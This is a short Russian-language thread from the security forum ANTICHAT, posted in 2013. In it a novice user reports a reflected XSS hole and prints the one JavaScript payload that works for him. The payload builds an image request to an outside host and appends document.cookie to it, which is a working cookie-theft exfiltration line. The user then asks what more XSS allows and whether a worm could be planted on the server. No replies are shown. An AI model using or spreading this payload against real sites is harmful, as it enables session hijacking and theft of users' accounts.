FORUMS

MEMBERS

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
Что можно сделать с XSS кроме как украсть cookie?

Опции темы

Поиск в этой теме

Опции просмотра

01.10.2013, 22:39

panfilov1991

Новичок

Регистрация: 22.01.2013

Сообщений: 23

Провел на форуме:
6020

Репутация: 0

Есть пассивная XSS, работает только с этим кодом:

Код:

img = new Image(); img.src = "http://httpz.ru/n4zjm6erzao.gif?"+document.cookie;

За кражу cookie отвечает +document.cookie;

А что можно еще сделать с XSS?

Можно ли загнать на сервер какого нибудь червя?

« Предыдущая тема | Следующая тема »

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход

Home

Help

Terms and Rules